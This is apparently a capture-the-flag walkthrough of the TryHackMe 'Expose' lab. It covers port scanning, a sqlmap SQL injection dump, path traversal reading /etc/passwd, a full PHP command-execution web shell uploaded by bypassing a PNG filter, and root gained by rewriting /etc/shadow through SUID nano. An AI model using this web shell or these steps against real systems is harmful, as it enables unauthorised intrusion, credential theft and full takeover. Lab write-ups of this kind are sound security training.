URL: https://tryhackme.com/r/room/expose
Stage 1: Recon
In order to speed up the recon, we use 2 steps to check open ports on the server:
nmap -sT -p- 10.10.50.37
Starting Nmap 7.60 ( https://nmap.org ) at 2024-03-29 05:03 GMT
Nmap scan report for ip-10-10-50-37.eu-west-1.compute.internal (10.10.50.37)
Host is up (0.0049s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
1337/tcp open waste
1883/tcp open mqtt
MAC Address: 02:93:38:5E:44:8F (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 2.89 seconds
After the initial quick port search, a full check will be execute on alive ports.
nmap -A -v -p21,22,53,1337,1883 10.10.50.37
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.210.91
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.16.1-Ubuntu
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: EXPOSED
1883/tcp open mosquitto version 1.6.9
| mqtt-subscribe:
| Topics and their most recent payloads:
| $SYS/broker/heap/maximum: 52480
| $SYS/broker/load/bytes/received/5min: 13.55
| $SYS/broker/load/sockets/5min: 0.51
| $SYS/broker/heap/current: 52080
| $SYS/broker/store/messages/bytes: 147
| $SYS/broker/clients/active: 1
| $SYS/broker/clients/connected: 1
| $SYS/broker/messages/stored: 31
From above information, we got to know the detail service running on the ports:
21: FTP
22: SSH
53: DNS Server
1337: HTTP
1883: mosquitto, sounds like a QTTP service
Let's go further to check what's inside anonymous FTP and HTTP.
root@ip-10-10-210-91:~# ftp 10.10.50.37
Connected to 10.10.50.37.
220 Welcome to the Expose Web Challenge.
Name (10.10.50.37:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 121 4096 Jun 11 2023 .
drwxr-xr-x 2 0 121 4096 Jun 11 2023 ..
226 Directory send OK.
ftp>
To dispointed me is that nothing valuable is stored on the server, it's a completly empty FTP.
Let's check what's provided by the HTTP server. Firstly let me check robots.txt and sitemap.xml, but the 2 files do not exist. No information could be extracted from search engine associate.
Then try to look sub directories under the site using a dictionary.
root@ip-10-10-210-91:~# gobuster dir --url=http://10.10.50.37:1337 -w /usr/share/dirb/wordlists/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.50.37:1337
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/03/29 05:16:10 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/admin (Status: 301)
/admin_101 (Status: 301)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
===============================================================
2024/03/29 05:16:12 Finished
===============================================================
Surely I also are interesting in what's under admin/ admin_101. Try to search in the dictionary.
root@ip-10-10-210-91:~# gobuster dir --url=http://10.10.50.37:1337/admin -w /usr/share/dirb/wordlists/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.50.37:1337/admin
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/03/29 05:17:10 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/modules (Status: 301)
===============================================================
2024/03/29 05:17:12 Finished
===============================================================
root@ip-10-10-210-91:~# gobuster dir --url=http://10.10.50.37:1337/admin_101 -w /usr/share/dirb/wordlists/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.50.37:1337/admin_101
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/03/29 05:16:56 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/includes (Status: 301)
/modules (Status: 301)
/test (Status: 301)
===============================================================
/test under /admin_101 is strange, let's check later and complete the recon till now.
Stage2: Vulnerability point
Let's visit http://10.10.50.37:1337/admin first, but we found it's a static page without sending the form info to the backend. So it can't be the vulerability point.
Then let's visit http://10.10.50.37:1337/admin_101, and we found a form could be send to backend. It's a good chance to check whether there are SQLInjection point in the form. So let's try.
With the help of burp suit, we record the request and save it to local file named 'post.txt'. Then sqlmap come to help.
sqlmap -r post.txt --dump
[05:25:14] [INFO] table 'expose.config' dumped to CSV file '/root/.sqlmap/output/10.10.50.37/dump/expose/config.csv'
[05:25:14] [INFO] fetching columns for table 'user' in database 'expose'
[05:25:14] [INFO] used SQL query returns 4 entries
[05:25:14] [INFO] resumed: id
[05:25:14] [INFO] resumed: int
[05:25:14] [INFO] resumed: email
[05:25:14] [INFO] resumed: varchar(512)
[05:25:14] [INFO] resumed: password
[05:25:14] [INFO] resumed: varchar(512)
[05:25:14] [INFO] resumed: created
[05:25:14] [INFO] resumed: timestamp
[05:25:14] [INFO] fetching entries for table 'user' in database 'expose'
[05:25:14] [INFO] used SQL query returns 1 entries
[05:25:14] [INFO] resumed: 2023-02-21 09:05:46
[05:25:14] [INFO] resumed: hacker@root.thm
[05:25:14] [INFO] resumed: 1
[05:25:14] [INFO] resumed: VeryDifficultPassword!!#@#@!#!@#1231
With the help of Sqlmap, we successfully got invalable information from the SQLInjection vulnerability.
Now let's have a look at /file1010111/index.php, which be told we can use 'easytohack' as password to visit.
After the password is inputted and sumbited, we got a ugly page:
Obviously, the information is notify me to view the source code to find something.
Well, there's a file or view parameter for index.php, lets try them and found file working. we can guess that file parameter could give up oppertunity to view some important file. For example /etc/host could be viewed from the page.
But I could not find where is the user or root flag without any idea about which files they are saved in.
Then let's check the upload_file, maybe a change to upload a command shell to the server, then I can search or manually find something there.
A hint about the password was given : it is the name of machine user starting with letter z. Somebody's name starting with 'z'? Where can we find the users on the machine? Of course they're saved in /etc/passwd.
How could I read /etc/passwd? Last vulnerability provides a method to view files with file parameter. Let's try:
http://10.10.50.37:1337/file1010111/index.php?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false zeamkish:x:1001:1001:Zeam Kish,1,1,:/home/zeamkish:/bin/bash ftp:x:114:121:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin bind:x:115:122::/var/cache/bind:/usr/sbin/nologin Debian-snmp:x:116:123::/var/lib/snmp:/bin/false redis:x:117:124::/var/lib/redis:/usr/sbin/nologin mosquitto:x:118:125::/var/lib/mosquitto:/usr/sbin/nologin fwupd-refresh:x:119:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
A long list of user names were retrieved from the file, and a name prefix with z was found: zeamkish.
Let's go back to the upload page and input the password, we successfully got a portal to upload files.
The upload only accepts png files, but we can use burp suite to change the filename during it was send to the server.
And now I need prepare a PHP shell file, a lot of shell with different languages can found here: [https://www.revshells.com/].
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
I choose a simple one as the cmd shell. But helped me to modify the file name before sending to the server:
Now the file was send to the server but where can I visite them? The page notify me to find the storage position in the source hidden dom. By viewing the source code, I got to know the file was saved in /upload_thm_1001.
By visiting the upload file URL, we got a place to execute commands.
By such commands, I got the password from zeamkish to connect SSH.
ssh_creds.txt could be read by other uses, so let's read it out[Unfortunately, flag.txt could not be read now]:
SSH CREDS
zeamkish
easytohack@123
Now we got the pair username/password for zeamkish and be able to login SSH.
zeamkish@ip-10-10-50-37:~$ ls -la
total 44
drwxr-xr-x 3 zeamkish zeamkish 4096 Mar 29 04:51 .
drwxr-xr-x 4 root root 4096 Jun 30 2023 ..
-rw-rw-r-- 1 zeamkish zeamkish 398 Mar 29 05:03 .bash_history
-rw-r--r-- 1 zeamkish zeamkish 220 Jun 8 2023 .bash_logout
-rw-r--r-- 1 zeamkish zeamkish 3771 Jun 8 2023 .bashrc
drwx------ 2 zeamkish zeamkish 4096 Jun 8 2023 .cache
-rw-r--r-- 1 zeamkish zeamkish 807 Jun 8 2023 .profile
-rw------- 1 zeamkish zeamkish 713 Mar 29 04:48 .viminfo
-rw-r----- 1 zeamkish zeamkish 27 Jun 8 2023 flag.txt
-rw-rw-r-- 1 zeamkish zeamkish 2992 Mar 29 04:51 ls
-rw-rw-r-- 1 root zeamkish 34 Jun 11 2023 ssh_creds.txt
zeamkish@ip-10-10-50-37:~$ cat ./flag.txt
THM{USER_FLAG_****_EXPOSE}
Now I got one flag, let's go further to check the root flag.
Stage 3: Elevate privillege
zeamkish has no sudo configurations, it could not run with root privilege. [sudo -l tells me].
How can I get the root privilege? Today i found a way to modify the password of root by openssl.
let's check is there any program could be executed by zeamkish but with root priviledge?
find / -perm -04000 -type f -ls
and found nano could be run with root priviledge, it can open /etc/shadow file properly.
Let's try to assign a new password from root, since we have no way to know the original password.
openssl passwd -1 -salt root 123456
$ROOT$ ************************************
Then copy it into /etc/shadow to replace the original password of root, save it and change user to root.
su root
input password 123456, now we successfully logon. Read the file under /root and the second flag it retrieved.
Stage 4: Report
A sql injection vulnerability is found at /admin_101, too much information was leaked from it.
There's a file uploading and provide a way to upload shell commands script.
nano provide ability to change /etc/shadow when calling by user zeamkish